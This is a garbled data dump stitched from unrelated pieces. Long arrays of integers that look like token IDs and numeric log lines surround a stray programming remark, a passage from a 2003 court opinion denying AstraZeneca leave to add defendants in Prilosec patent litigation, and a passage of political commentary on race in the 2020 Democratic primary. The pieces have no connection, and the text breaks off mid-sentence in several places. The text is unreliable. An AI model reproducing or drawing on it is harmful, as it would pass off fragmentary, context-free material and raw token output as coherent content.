5868, 13555, 285, 1453, 689, 253, 48927, 267, 285, 21430, 34, 7177, 285, 4767, 326, 352, 651, 417, 10073, 329, 10981, 275, 13546, 8900, 432, 2057, 48927, 267, 390, 21430, 34, 4681, 19, 62, 187, 2374, 4247, 884, 13, 6469, 13, 329, 10981, 9521, 326, 353, 24107, 285, 444, 251, 7578, 281, 271, 15129, 281, 253, 14672, 1411, 731, 281, 823, 444, 3241, 306, 3277, 303, 3737, 285, 31497, 3196, 15, 444, 3241, 306, 13, 285, 48927, 267, 285, 21430, 34, 13, 2975, 13, 347, 7159, 15, 6295, 353, 24107, 285, 444, 251, 10974, 326, 597, 651, 417, 7578, 15, 831, 3200, 323, 3553, 281, 15026, 3560, 15, 187, 187, 38535, 187, 187, 34, 15, 24547, 12144, 323, 16066, 281, 44518, 187, 49, 27956, 281, 7804, 1458, 9, 66, 10, 273, 253, 7671, 16228, 273, 10109, 18809, 13, 346, 35789, 544, 936, 15026, 62, 3091, 320, 15744, 1677, 672, 8426, 594, 4419, 449, 380, 6347, 6817, 556, 4767, 326, 3553, 281, 15026, 943, 346, 43786, 417, 320, 5868, 3, 5734, 824, 15129, 651, 320, 42568, 13, 390, 346, 9088, 310, 1941, 273, 39284, 5778, 13, 3076, 6009, 13, 544, 263, 62, 39284, 14751, 281, 253, 1327, 14, 16047, 386, 24554, 27850, 3248, 362, 15, 33932, 14, 48, 282, 360, 9537, 904, 27146, 401, 15, 20, 69, 12131, 13, 9199, 313, 19, 69, 4082, 15, 8971, 10, 313, 18799, 401, 4998, 362, 15, 11328, 13, 36696, 530, 15, 52, 15, 24833, 13, 25985, 13, 11439, 322, 15, 5229, 15, 26472, 13, 898, 418, 15, 3996, 15, 19, 69, 25653, 313, 32796, 5029, 187, 11389, 13, 7804, 1384, 9, 66, 10, 285, 7804, 3127, 273, 253, 7671, 16228, 273, 10109, 18809, 2085, 323, 253, 1635, 273, 4676, 15, 6166, 7804, 1384, 9, 66, 582, 253, 1855, 386, 1364, 10180, 247, 987, 281, 6619, 346, 26204, 1016, 3257, 12600, 281, 390, 14475, 562, 273, 253, 1072, 9996, 13, 12340, 13, 390, 2962, 273, 13122, 390, 37102, 3, 285, 326, 690, 346, 19751, 273, 1569, 390, 958, 1846, 281, 512, 7159, 588, 475, 21351, 12893, 275, 253, 2250, 449, 1605, 282, 80, 362, 15, 1503, 5501, 5260, 9537, 904, 7449, 15173, 17272, 746, 13, 5307, 18972, 1283, 34802, 1099, 13, 475, 19, 13, 5307, 530, 15, 52, 15, 3656, 15, 418, 4237, 1830, 25165, 2082, 13, 387, 475, 21, 313, 56, 15, 37, 15, 47, 15, 58, 15, 7659, 15, 1283, 13, 5307, 10, 313, 11577, 47331, 285, 25577, 11035, 481, 7804, 3127, 3400, 326, 247, 3128, 778, 320, 2879, 281, 271, 2250, 346, 255, 667, 3924, 273, 253, 2250, 285, 327, 824, 2426, 347, 403, 816, 449, 8529, 15, 51, 15, 23429, 15, 49, 15, 3127, 15, 187, 46, 24107, 285, 444, 251, 1097, 21244, 326, 329, 10981, 434, 3200, 281, 15026, 253, 9056, 14672, 1411, 731, 943, 320, 5868, 984, 329, 10981, 434, 3916, 1411, 253, 1740, 4081, 7159, 403, 22327, 347, 247, 2647, 273, 1569, 285, 3021, 403, 42568, 15, 9157, 13, 353, 24107, 285, 444, 251, 9059, 326, 329, 10981, 434, 3200, 943, 320, 5868, 984, 352, 310, 43212, 13, 28203, 17194, 13, 285, 440, 49701, 33218, 281, 731, 15, 6610, 13, 353, 24107, 12148, 326, 1014, 604, 329, 10981, 1057, 452, 247, 2847, 273, 2250, 1411, 253, 444, 3241, 306, 4413, 13, 1110, 3916, 943, 320, 23321, 275, 247, 4858, 2250, 15, 4923, 253, 2111, 9010, 326, 329, 10981, 434, 3916, 1411, 253, 1740, 4081, 7159, 403, 42568, 13, 329, 10981, 434, 3200, 281, 15026, 253, 9056, 14672, 310, 5868, 15, 187, 187, 35, 15, 380, 27120, 323, 496, 563, 336, 420, 24161, 444, 3241, 306, 3277, 303, 3737, 13, 3196, 15, 9543, 1080, 3783, 444, 3241, 306, 13, 21430, 34, 13, 285, 48927, 267, 403, 41395, 587, 187, 510, 16686, 16040, 38692, 285, 11754, 13302, 11726, 7843, 3162, 273, 12459, 13, 22446, 15, 45, 15, 1621, 15, 10508, 14, 39069, 13, 10508, 6515, 1458, 2227, 313, 15624, 10, 313, 19880, 1245, 387, 3127, 530, 15, 52, 15, 36, 15, 20485, 26033, 285, 22146, 550, 285, 4791, 530, 15, 52, 15, 36, 15, 20485, 21807, 285, 32855, 10, 313, 783, 346, 41, 1506, 14, 56, 991, 1342, 3162, 2807, 3400, 326, 346, 10002, 972, 15257, 14757, 29157, 273, 247, 9469, 3091, 320, 15922, 347, 271, 18632, 254, 449, 4791, 530, 15, 52, 15, 36, 15, 3015, 32855, 9, 67, 481, 380, 7671, 6817, 556, 753, 326, 281, 9302, 327, 247, 3762, 273, 10808, 420, 762, 3015, 32855, 9, 67, 10, 346, 66, 3482, 1364, 5276, 326, 253, 7159, 8, 5231, 5802, 18632, 272, 6993, 285, 326, 597, 3260, 390, 943, 452, 1929, 616, 5231, 651, 10808, 4588, 29157, 449, 24324, 14, 42149, 6291, 2434, 15, 362, 15, 4276, 302, 911, 9537, 904, 33152, 401, 15, 20, 69, 13900, 25, 13, 14821, 20, 313, 28246, 15, 23644, 15, 9755, 10, 313, 11577, 47331, 285, 25577, 11035, 481, 5076, 13, 281, 5276, 10808, 420, 13, 247, 3482, 1364, 921, 346, 26651, 6860, 281, 2847, 253, 6993, 534, 12647, 253, 29157, 3, 285, 346, 3529, 253, 10145, 18632, 254, 30210, 35479, 285, 490, 37883, 1529, 434, 1480, 29157, 273, 253, 9469, 3446, 24324, 14, 42149, 6291, 13, 33152, 401, 15, 20, 69, 387, 14821, 20, 313, 11577, 47331, 285, 25577, 11035, 481, 187, 7910, 643, 3286, 7829, 452, 31114, 326, 984, 253, 12108, 273, 253, 2933, 4877, 310, 271, 769, 273, 29157, 13, 253, 3939, 10808, 420, 273, 271, 2933, 4877, 19529, 310, 247, 16733, 6051, 769, 273, 29157, 15, 2594, 6212, 44, 1282, 31069, 348, 312, 9537, 15, 362, 15, 31955, 1777, 15326, 904, 3690, 904, 8688, 15173, 3285, 1731, 13, 6752, 530, 15, 52, 15, 3656, 15, 418, 4237, 1830, 26771, 883, 13, 387, 475, 2405, 313, 38, 15, 37, 15, 9387, 15, 3821, 15, 337, 13, 6752, 10, 313, 44101, 326, 5749, 88 ]	64 0 64.000000 64 1 64.000000 64 2 64.000000 64 3 64.000000 64 4 64.000000 64 5 64.000000 64 6 64.000000 64 7 64.000000 64 8 64.000000 64 9 64.000000 64 10 64.000000 64 11 64.000000 64 12 64.000000 64 13 64.000000 64 14 64.000000 64 15 64.000000 64 16 64.000000 64 17 64.000000 64 18 64.000000 64 19 64.000000 64 20 64.000000 64 21 64.000000 64 22 64.000000 64 23 64.000000 64 24 64.000000 64 25 64.000000 64 26 64.000000 64 27 64.000000 64 28 64.000000 64 29 64.000000 64 30 64.000000 64 31 64.000000 64 32 64.000000 64 33 64.000000 64 34 64.000000 64 35 64.000000 64 36 64.000000 64 37 64.000000 64 38 64.000000 64 39 64.000000 64 40 64.000000 64 41 64.000000 64 42 64.000000 64 43 64.000000 64 44 64.000000 64 45 64.000000 64 46 64.000000 64 47 64.000000 64 48 64.000000 64 49 64.000000 64 50 64.000000 64 51 64.000000 64 52 64.000000 64 53 64.000000 64 54 64.000000 64 55 64.000000 64 56 64.000000 64 57 64.000000 64 58 64.000000 64 59 64.000000 64 60 64.000000 64 61 64.000000 64 62 64.000000 64 63 64.000000 64 $ For new code or new maintenance, you should only use the _sync versions. For further examples of the usage of the mask parameter, refer to this blog 265 F.Supp.2d 213 (2003) ASTRAZENECA AB, et al., Plaintiffs, v. MYLAN LABORATORIES, INC. and Mylan Pharmaceuticals, Inc. Defendants. Astra Aktiebolag, et al., Plaintiffs, v. Eon Labs Manufacturing, Inc., Defendant. In re Omeprazole Patent Litigation Nos. 00 Civ. 6749(BSJ), 00 Civ. 7598(BSJ). M-21-81, MDL 1291. United States District Court, S.D. New York. May 21, 2003. OPINION AND ORDER JONES, District Judge. Plaintiffs, AstraZeneca AB, Aktiebolaget Hassle, KBI-E-Inc, KBI Inc., and AstraZeneca, LP, (collectively "Astra"), seek leave to amend their complaint against defendants Mylan Laboratories Inc., and Mylan Pharmaceuticals, Inc. (collectively "Mylan") to add Esteve Quimica S.A. ("Esteve Quimica") and Laboratories Dr. Esteve S.A ("Laboratories Dr. Esteve"), (collectively "Esteve") as defendants accused of inducing infringement of U.S Patent No. 4,786,505 ("the '505 patent") and U.S. Patent No. 4,853,230 ("the '230 patent"). Likewise, Astra seeks to amend its complaint against defendant Eon Labs Manufacturing Inc. ("Eon") to add Hexal AG ("Hexal") and A/S GEA Farmaceutisk Fabrik ("GEA") as defendants accused of infringement of the '505 and '230 patents. For the reasons to follow, Astra's motion 214 to amend with respect to the Mylan and Eon complaints is denied. BACKGROUND These actions relate to Astra's patents for PRILOSEC®, a pharmaceutical product that inhibits the production of acid in the stomach. The present controversies began when defendants notified Astra that they had submitted to the FDA Abbreviated New Drug Applications ("ANDAs") seeking approval to manufacture a generic version of Astra's PRILOSEC®. In response to the notices, Astra filed a complaint against Eon on May 15, 2000 and a complaint against Mylan on September 8, 2000. Those complaints contend that Eori and Mylan's ANDA filings constituted infringement of Astra's '505 and '230 patents.[1] Discovery in these cases was consolidated before the Special Master on December 2, 2002 providing approximately six months for completion of fact discovery from the five defendants. Astra served document requests on Mylan and Eon on December 13, 2002 in addition to a request that Mylan produce documents from the files of Esteve Quimica and Laboratories Dr. Esteve, and a request that Eon produce documents from the files of Hexal and GEA. Mylan denied custody and control over the Esteve documents and informed Astra that it would provide some documents related to Mylan's ANDA products. Eon likewise denied custody and control over the Hexal and GEA documents and stated that it would not assist Astra in obtaining discovery from either Hexal or GEA.[2] On January 10, 2003, Astra requested that Mylan and Eon consent to an amendment to the complaints against them to add Esteve Quimica and Laboratories Dr. Esteve, and Hexal and GEA, respectively, as defendants. Both Mylan and Eon responded that they would not consent. This motion for leave to amend followed. DISCUSSION A. Legal Standard for Motion to Amend Pursuant to Rule 15(a) of the Federal Rules of Civil Procedure, "leave [to amend] shall be freely given when justice so requires." The Second Circuit has stated that leave to amend should "generally not be denied" unless such amendment would be futile, or "there is evidence of undue delay, bad faith, [or] undue prejudice to the non-movant...." Milanese v. Rust-Oleum Corp., 244 F.3d 104, 110 (2d Cir.2001) (citing Foman v. Davis, 371 U.S. 178, 182, 83 S.Ct. 227, 9 L.Ed.2d 222 (1962)). Further, Rule 20(a) and Rule 21 of the Federal Rules of Civil Procedure provide for the addition of parties. Under Rule 20(a), the movant must aver a right to relief "against each defendant relating to or arising out of the same transaction, occurrence, or series of transactions or occurrences" and that some "question of law or fact common to all defendants will 215 arise in the action." Deleo v. Zconnexx Corp., 00 CV 0319, 2000 WL 1887825, 2, 2000 U.S. Dist. LEXIS 18765, at 4 (W.D.N.Y. Dec. 18, 2000) (internal quotations and citation omitted). Rule 21 provides that a party may be added to an action "at any stage of the action and on such terms as are just." Fed.R.Civ.P. 21. Mylan and Eon both contend that Astra's motion to amend the respective complaints against them should be denied because Astra's claims against the four proposed defendants are defective as a matter of law and thus are futile. Additionally, Mylan and Eon argue that Astra's motion should be denied because it is untimely, improperly motivated, and unduly prejudicial to them. Finally, Mylan contends that even if Astra does have a cause of action against the Esteve companies, those claims should be pursued in a separate action. Because the Court finds that Astra's claims against the four proposed defendants are futile, Astra's motion to amend the respective complaints is denied. B. The Claims for Inducement Against Esteve Quimica, Dr. Laboratorios Esteve, GEA, and Hexal are Futile The Drug Price Competition and Patent Term Restoration Act of 1984, Pub.L. No. 98-417, 98 Stat 1585 (1984) (codified at 21 U.S.C. §§ 355 and 260cc and 35 U.S.C. §§ 156 and 271) (the "Hatch-Waxman Act") provides that "whoever actively induces infringement of a patent shall be liable as an infringer." 35 U.S.C. § 271(b). The Federal Circuit has said that to succeed on a theory of inducement under § 271(b) "a plaintiff must prove that the defendants' actions induced infringing acts and that they knew or should have known their actions would induce actual infringement." Warner-Lambert Co. v. Apotex Corp., 316 F.3d 1348, 1363 (Fed.Cir.2003) (internal quotations and citation omitted). Moreover, to prove inducement, a plaintiff must show "actual intent to cause the acts which constitute the infringement" and "that the accused infringer knowingly aided and abetted another's direct infringement of the patent". Warner-Lambert, 316 F.3d at 1363 (internal quotations and citation omitted). Two other district courts have reasoned that because the filing of the ANDA is an act of infringement, the active inducement of an ANDA submission is a remediable act of infringement. See SmithKline Beecham Corp. v. Geneva Pharms., Inc., 99 CV 2926, 2002 U.S. Dist. LEXIS 19411, at *31 (E.D.Pa. Oct. 1, 2002) (stating that "[w
[ 644, 1160, 323, 253, 20142, 326, 310, 776, 1655, 7751, 5639, 3646, 13, 390, 665, 310, 285, 665, 3548, 457, 85, 247, 4198, 5318, 273, 38384, 15, 1292, 3185, 13, 3438, 17979, 3918, 9915, 26656, 457, 84, 2853, 14, 12292, 264, 3061, 281, 47122, 271, 45697, 1584, 670, 849, 448, 14661, 344, 908, 281, 320, 342, 3168, 25937, 317, 1346, 7320, 253, 16804, 14, 34, 301, 745, 752, 436, 3625, 3819, 556, 1900, 644, 670, 13, 387, 1878, 1919, 1024, 27, 5492, 15, 187, 187, 3039, 18175, 9662, 457, 84, 29103, 4022, 13313, 1669, 10823, 18439, 323, 9172, 285, 671, 13, 275, 690, 2219, 13, 3095, 281, 13387, 13, 767, 8063, 11815, 812, 320, 8392, 432, 253, 2957, 27, 326, 253, 3168, 6273, 369, 4891, 5411, 3212, 11885, 313, 1212, 18286, 667, 651, 513, 558, 285, 253, 10823, 457, 13742, 275, 2087, 12337, 27945, 327, 849, 31905, 15156, 11163, 403, 670, 731, 15, 187, 187, 17588, 253, 14464, 4765, 4260, 27169, 13, 268, 1504, 953, 751, 15315, 4415, 21446, 466, 497, 21565, 326, 253, 27585, 9922, 28690, 943, 285, 651, 320, 247, 1436, 273, 3295, 13, 604, 323, 642, 643, 1921, 685, 281, 8409, 253, 440, 1200, 518, 494, 3778, 2613, 15, 1244, 2568, 13, 342, 594, 1142, 281, 5206, 432, 313, 66, 1924, 2800, 9183, 273, 3295, 452, 10877, 4092, 18120, 323, 253, 5219, 3995, 582, 253, 9922, 3625, 22207, 594, 2080, 452, 644, 14691, 407, 3168, 9183, 13, 285, 2223, 12832, 767, 273, 253, 30661, 383, 15, 187, 187, 1147, 3133, 326, 253, 1516, 1430, 4154, 14280, 281, 35689, 3168, 13, 1223, 253, 23027, 4154, 4536, 42534, 253, 643, 1039, 15, 1244, 1014, 672, 253, 1083, 310, 1160, 326, 368, 476, 457, 85, 452, 581, 1293, 253, 643, 13, 11219, 4780, 1644, 1127, 281, 3778, 457, 84, 2137, 9081, 285, 7777, 36418, 35091, 313, 13174, 908, 281, 16391, 670, 521, 26083, 12365, 275, 247, 1770, 13, 1024, 597, 816, 3524, 344, 6505, 387, 690, 1127, 10, 285, 1333, 436, 310, 417, 253, 673, 281, 1379, 247, 2495, 327, 3780, 665, 2506, 457, 85, 4944, 247, 5899, 13100, 15, 187, 187, 1989, 436, 2469, 2129, 3559, 253, 2442, 25926, 273, 26656, 457, 84, 4613, 1974, 313, 66, 15, 76, 15, 66, 13, 22346, 7608, 2610, 27, 380, 27069, 582, 285, 352, 2530, 247, 7520, 2774, 323, 42409, 48038, 45428, 285, 21174, 7080, 13680, 1128, 10002, 812, 22506, 3984, 281, 253, 14004, 253, 12008, 4007, 457, 84, 3000, 4269, 323, 8118, 14, 34436, 13, 533, 665, 671, 452, 644, 8127, 50217, 281, 253, 2406, 246, 4670, 273, 9169, 4613, 19103, 407, 253, 2315, 1128, 936, 28189, 15, 187, 187, 2347, 352, 1364, 452, 3496, 16386, 45428, 285, 13680, 13, 767, 273, 253, 43719, 6114, 275, 616, 3128, 13, 281, 923, 598, 5478, 84, 2719, 15, 8387, 80, 473, 457, 51, 454, 413, 285, 1024, 18308, 26411, 1292, 46362, 25362, 2489, 253, 13746, 273, 253, 1770, 13, 1223, 616, 4613, 19103, 19460, 281, 755, 2329, 2606, 15, 187, 187, 4125, 13, 597, 778, 320, 2970, 247, 1273, 1007, 432, 11163, 15, 187, 187, 1147, 457, 84, 2032, 253, 10856, 3668, 6928, 2389, 281, 923, 247, 3819, 13, 285, 253, 45428, 14, 35, 9226, 27908, 310, 253, 8642, 436, 3625, 556, 574, 281, 247, 1524, 581, 594, 2080, 15, 3808, 5884, 480, 487, 265, 9255, 13, 954, 273, 253, 9169, 9183, 574, 644, 5877, 616, 3289, 327, 253, 2914, 14, 28971, 562, 273, 4709, 273, 3551, 387, 253, 6963, 13, 5816, 13, 285, 7552, 253, 806, 15120, 555, 13, 273, 534, 627, 588, 320, 1142, 15, 187, 187, 1989, 45428, 457, 84, 31033, 17735, 13, 984, 597, 5420, 281, 1705, 432, 247, 1659, 273, 13241, 3075, 285, 5083, 13, 285, 597, 5608, 347, 247, 24388, 326, 436, 37606, 42354, 14, 28302, 6703, 2846, 14967, 14, 28302, 19365, 8080, 14, 28302, 15772, 382, 27445, 1537, 417, 320, 824, 271, 39152, 36484, 4500, 15, 187, 187, 20810, 323, 253, 27445, 13, 344, 1904, 457, 85, 3812, 247, 6308, 275, 253, 1273, 2360, 273, 9922, 27155, 13, 285, 594, 344, 285, 23886, 588, 320, 25979, 273, 253, 921, 3487, 597, 26426, 971, 15, 26656, 457, 84, 2914, 14, 24220, 3708, 13, 1223, 36418, 13, 4558, 2602, 13, 285, 1014, 521, 5161, 14501, 1364, 320, 20138, 670, 1880, 253, 10909, 14, 2913, 14, 744, 556, 253, 37928, 1758, 281, 32385, 253, 2534, 14372, 273, 8104, 432, 14260, 3803, 13, 625, 28071, 9680, 285, 4754, 13, 625, 30820, 9183, 11771, 281, 7642, 386, 779, 15, 187, 187, 1989, 1551, 17839, 13, 436, 305, 23510, 588, 417, 4354, 755, 689, 20644, 264, 1128, 28558, 273, 2282, 26656, 21936, 281, 1265, 268, 1699, 275, 1345, 323, 3052, 375, 15956, 79, 457, 21130, 294, 14, 83, 4539, 1128, 12157, 352, 16544, 281, 253, 29005, 875, 253, 9922, 7021, 9550, 285, 247, 2806, 2613, 326, 352, 26426, 3198, 533, 11359, 14165, 839, 15, 187, 187, 1628, 5418, 11163, 452, 1046, 987, 281, 1902, 271, 15990, 285, 7431, 665, 2506, 457, 85, 452, 281, 21684, 731, 597, 457, 250, 417, 22198, 15, 18365, 187, 187, 1147, 651, 417, 320, 16593, 323, 23075, 9583, 952, 273, 3295, 281, 35533, 253, 10823, 452, 6311, 1652, 432, 253, 4274, 6929, 273, 4022, 15, 187, 187, 17833, 13, 253, 958, 4961, 275, 253, 13846, 273, 690, 10071, 326, 1740, 3041, 6729, 14501, 13, 665, 497, 30839, 1523, 2806, 13, 14596, 1728, 310, 752, 2105, 9662, 253, 11051, 7909, 6822, 15, 187, 187, 1898, 273, 2282, 13, 3780, 1239, 14, 249, 327, 253, 26596, 5839, 24586, 326, 8118, 14, 34436, 497, 247, 2234, 2303, 273, 7247, 11689, 275, 253, 6132, 15, 1292, 3185, 273, 2820, 281, 294, 14, 1205, 486, 841, 11163, 949, 4466, 285, 3646, 13, 253, 17068, 273, 253, 9922, 7021, 556, 25711, 5262, 1512, 1199, 273, 253, 2469, 767, 285, 247, 2716, 1107, 2820, 281, 29720, 3168, 952, 665, 452, 644, 9058, 272, 1977, 432, 731, 323, 8007, 281, 1705, 896, 715, 253, 7975, 15, 187, 187, 2512, 556, 644, 690, 1941, 326, 253, 9183, 3746, 403, 387, 1878, 2820, 281, 2282, 3451, 15, 329, 417, 34584, 1180, 273, 731, 452, 6704, 327, 281, 1263, 253, 2523, 273, 21245, 294, 1148, 569, 13, 534, 651, 452, 644, 440, 18959, 494, 1740, 1107, 3622, 313, 9154, 6729, 908, 281, 660, 2727, 387, 253, 2934, 582, 285, 253, 4007, 7206, 265, 731, 342, 247, 11792, 6196, 273, 22198, 275, 306, 19343, 323, 731, 281, 25650, 15, 187, 187, 1989, 10823, 943, 417, 35533, 326, 2806, 11163, 13, 594, 9630, 285, 8542, 24842, 13, 476, 320, 259, 3288, 264, 407, 667, 581, 2523, 390, 28112, 15, 1583, 588, 7617, 253, 28690, 407, 41297, 2248, 3927, 275, 3054, 751, 3684, 9756, 13, 285, 597, 452, 1046, 987, 281, 1902, 271, 15990, 285, 7431, 665, 2506, 457, 85, 452, 281, 21684, 731, 597, 457, 250, 417, 22198, 15, 187, 187, 6872, 11163, 275, 1798, 588, 452, 247, 2173, 13841, 275, 436, 2129, 457, 84, 27155, 13, 285, 597, 943, 1902, 281, 923, 13680, 13, 45428, 13, 285, 253, 643, 9183, 273, 3295, 2186, 417, 816, 26656, 13, 533, 1711, 2143, 10823, 751, 779, 13, 28461, 323, 616, 35387, 327, 5492, 15, 187, 187, 7883, 972, 476, 20177, 432, 326, 31233, 253, 1878, 440, 1026, 41746, 778, 320, 253, 1682, 39654, 281, 1750, 10170, 689, 253, 1551, 273, 253, 7863, 9922, 1673, 15, 9034, 5154, 11362, 281, 1056, 2118, 281, 49261, 187, 187, 1147, 3133, 22371, 11362, 812, 320, 2403, 697, 1039, 4830, 49261, 387, 690, 1127, 13, 2556, 281, 16181, 56, 609, 820, 14, 31456, 13916, 1503, 21099, 2788, 15, 187, 187, 28326, 387, 28545, 434, 2315, 8059, 13, 1503, 21099, 2788, 369, 4645, 3644, 16879, 38068, 13, 22371, 11362, 27, 42321, 968, 13, 672, 344, 5393, 247, 2118, 689, 281, 49261, 275, 253, 2852, 369, 629, 273, 697, 1048, 1307, 5827, 15, 187, 187, 1328, 753, 326, 344, 3264, 22371, 11362, 281, 2489, 247, 2201, 17117, 346, 251, 5578, 285, 13, 275, 2852, 13, 327, 49261, 3446, 187, 187, 22191, 344, 5486, 42321, 968, 3139, 651, 320, 2245, 264, 281, 49261, 13, 390, 326, 747, 3958, 651, 320, 3715, 762, 253, 22371, 11362, 1416, 13, 344, 1904, 626, 1333, 13, 6747, 858, 344, 1333, 534, 49261, 344, 574, 275, 2564, 428, 594, 326, 434, 1529, 346, 13060, 436, 2317, 3, 323, 1024, 15, 187, 187, 2512, 943, 320, 690, 625, 3668, 327, 22371, 11362, 1996, 327, 387, 444, 20, 594, 359, 1833, 1978, 368, 275, 253, 6287, 13, 533, 323, 14584, 40396, 285, 625, 8692, 670, 253, 15146, 5578, 2165, 428, 1481, 689, 281, 697, 4422, 15, 17441, 187, 187, 37, 30869, 22896, 285, 25471, 14, 71, 974, 981, 10296, 403, 16821, 3629, 3626, 14, 22228, 11998, 15, 496, 12649, 338, 398, 689, 2943, 253, 2398, 3992, 316, 285, 530, 18259, 439, 1079, 34256, 273, 20558, 25489, 11637, 285, 598, 3409, 1457, 2816, 13, 359, 3389, 12082, 1941, 323, 35494, 17969, 273, 10678, 1824, 2330, 342, 439, 1079, 14, 22228, 11998, 15, 496, 3939, 3678, 14, 2068, 3460, 3672, 313, 531, 390, 625, 3678, 21443, 1561, 337, 10771, 582, 3388, 285, 4869, 35494, 6299, 275, 10678, 14, 7779, 21443, 2559, 342, 18326, 281, 253, 5275, 3678, 973, 285, 497, 655, 15, 19, 285, 6705, 5770, 5642, 577, 418, 14, 18, 313, 79, 426, 3436, 582, 247, 2442, 18864, 16466, 28, 275, 4499, 13, 18224, 35494, 3530, 275, 20667, 5293, 633, 3460, 4375, 313, 2369, 3678, 21443, 1561, 337, 10771, 10, 1561, 2074, 3471, 9522, 34256, 285, 4101, 463, 9522, 27005, 17522, 760, 337, 15, 18, 5770, 418, 14, 18, 313, 49, 654, 470, 15, 1762, 28, 295, 426, 5910, 481, 26056, 11112, 1012, 36, 14, 2775, 577, 2193, 273, 18224, 35494, 275, 20126, 41828, 497, 3012, 1679, 4016, 323, 3939, 685, 323, 1327, 4507, 4375, 3383, 1787, 3279, 818, 325, 110, 285, 428, 3439, 3279, 1903, 325, 110, 13, 2975, 28, 367, 654, 470, 15, 5831, 481, 2053, 11112, 1012, 36, 14, 2775, 577, 941, 13, 9904, 342, 253, 11878, 273, 35494, 14, 936, 14, 41832, 14, 10050, 39409, 13, 285, 11112, 19, 41, 14, 2775, 577, 2193, 13, 403, 5185, 342, 12861, 5461, 7736, 35494, 4973, 824, 347, 253, 2398, 3992, 316, 285, 530, 18259, 439, 2339, 387, 253, 3939, 4375, 285, 13373, 3678, 3471, 18334, 432, 3678, 21443, 10151, 15, 496, 4499, 13, 2406, 14, 585, 36551, 3530, 432, 20126, 41828, 387, 1327, 4507, 4375, 574, 14539, 6361, 20076, 18964, 247, 625, 1794, 7736, 390, 6804, 1794, 7736, 16, 508, 78, 7736, 35494, 2603, 15, 844, 1119, 642, 1941, 323, 17969, 273, 10678, 14, 7779, 3530, 342, 3676, 18704, 1308, 1100, 390, 10232, 981, 21143, 15, 844, 7525, 326, 3687, 42001, 5363, 13, 941, 13, 285, 1128, 38896, 1128, 11973, 403, 3058, 281, 5416, 253, 18380, 2852, 273, 439, 1079, 14, 22228, 11998, 285, 281, 3157, 1345, 7162, 275, 697, 897, 15, 41, 12537, 9662, 457, 84, 4544, 2285, 17324, 908, 247, 4228, 6046, 5145, 327, 8216, 281, 2972, 16817, 3345, 273, 247, 3187, 40902, 275, 20734, 432, 4854, 617, 16157, 15, 187, 187, 2773, 457, 84, 2556, 281, 10908, 11301, 13, 247, 12726, 323, 20734, 457, 84, 21946, 14, 21, 13, 665, 369, 38712, 3345, 273, 253, 2362, 13, 534, 369, 2918, 32321, 387, 253, 1728, 273, 13338, 21806, 15, 2516, 388, 20471, 4213, 2211, 13, 247, 2221, 43663, 665, 556, 30020, 9662, 15, 187, 187, 35, 2345, 753, 326, 253, 6046, 11689, 5145, 369, 3531, 327, 846, 247, 3961, 1905, 1996, 3636, 347, 7967, 12318, 24010, 285, 253, 4200, 13297, 1905, 6699, 4882, 3440, 285, 1078, 9662, 7560, 15, 380, 2813, 369, 4845, 3304, 273, 247, 19354, 327, 253, 2867, 285, 11205, 275, 253, 3884, 273, 253, 2315, 13, 11301, 4159, 15, 187, 187, 1328, 9269, 3492, 4645, 752, 352, 17132, 751, 3345, 273, 253, 2362, 1078, 285, 846, 253, 5145, 369, 3531, 327, 15, 380, 2813, 4197, 247, 1698, 14, 38172, 10218, 30690, 6046, 13, 1199, 751, 247, 25816, 745, 275, 253, 4181, 15, 187, 187, 15, 33, 68, 4843, 312, 2804, 8028, 1060, 323, 3590, 273, 752, 369, 3531, 327, 846, 253, 10604, 285, 816, 1078, 253, 31537, 15, 14402, 15, 16705, 15, 681, 16, 37528, 2354, 1010, 47, 3848, 47, 1905, 10908, 11301, 12626, 36447, 35, 2345, 12101, 10, 4162, 854, 13, 4022, 187, 187, 4553, 253, 3590, 5145, 369 ]	been made for the chaos that is our current Iran foreign policy, or who is and who isn’t a proponent of socialism. But instead, former Vice President Joe Biden’s ill-timed decision to revive an anecdote about how chummy he used to be with white supremacists pulled the Band-Aid off what this primary fight has always been about, at least until now: race. When Hillary Clinton’s shocking 2016 defeat left Democrats desperate for answers and also, in some cases, someone to blame, two principle conclusions could be drawn from the loss: that the white vote was solidifying behind Republicans (apparently any would do); and the Democrats’ fate in general elections rests on how enthusiastic minority voters are about them. Following the historic 2018 midterms, pundits like Jamelle Bouie were predicting that the eventual Democratic nominee should and would be a person of color, if for no other reason than to offset the unshakable Trump base. And yet, with so many to choose from (a record six candidates of color have mounted serious campaigns for the White House), the Democratic primary polls so far have been dominated by white candidates, and often literally two of the whitest. It seems that the electability argument tends to skew white, while the enthusiasm argument sometimes swings the other way. And even when the case is made that you can’t have one without the other, nervous progressives point to Trump’s war chest and truly formidable durability (people used to joke about his presidency ending in a month, now they just hope he leaves at some point) and say this is not the time to take a risk on anyone who doesn’t fit a traditional mold. But this past week presented the potential dangers of Biden’s candidacy (a.k.a, Gran Torino: The Campaign), and it provided a rare moment for Senators Cory Booker and Kamala Harris—who could uniquely speak to the upset the vice president’s words caused for African-Americans, but who also have been largely relegated to the lower tiers of 2020 candidacies by the press—to shine. How it must have irked Booker and Harris, two of the brightest stars in their party, to see upstarts Rep. Beto O’Rourke and now Mayor Pete Buttigieg become the flavor of the month, while their candidacies struggled to get airtime. Now, they may be getting a second look from voters. It’s true the cable news networks love to see a fight, and the Booker-Biden flap is the closest this primary has had to a real one so far. Some minor jibes aside, most of the 2020 candidates had been holding their fire on the front-runner out of fear of coming at the king, missing, and becoming the first casualty, of which there will be many. But Booker’s blows landed, because they appeared to come from a place of genuine pain and truth, and they served as a reminder that this Rhodes Scholar-turned inner city mayor-turned folk hero-turned institutionalist senator might not be such an unattractive option. Unfortunately for the senator, he didn’t draw a spot in the second night of Democratic debates, and so he and audiences will be deprived of the showdown they desperately want. Biden’s front-running status, while formidable, remains soft, and even his core supporters must be anxious about whether the 76-year-old has the stamina to withstand the barrage of attacks from hipper, more socially conscious and yes, more colorful candidates competing to supplant him. But rest assured, this gaffe will not easily get overshadowed—unless of course Biden decides to start pining in public for Amos ’n’ Andy re-runs—because it speaks to the tensions between the Democratic Party leadership and a black base that it desperately needs but keeps alienating. “ Black voters have every right to expect an agenda and candidate who doesn’t have to assure them they’re not racist. ” It would not be unfair for politically engaged people of color to presume the Democrats have learned little from the debacle of 2016. Sure, the fact exists in the minds of some experts that four million Obama supporters, who were disproportionately black, staying home is what cost Clinton the Electoral College. And of course, anyone read-in on the Mueller investigation understands that African-Americans were a key target of Russian interference in the election. But instead of trying to re-engage these voters through culture and policy, the mainstream of the Democratic Party has arguably spent too much of the past two and a half years trying to persuade white people who have been trending away from them for decades to come back into the fold. There has been some evidence that the candidates 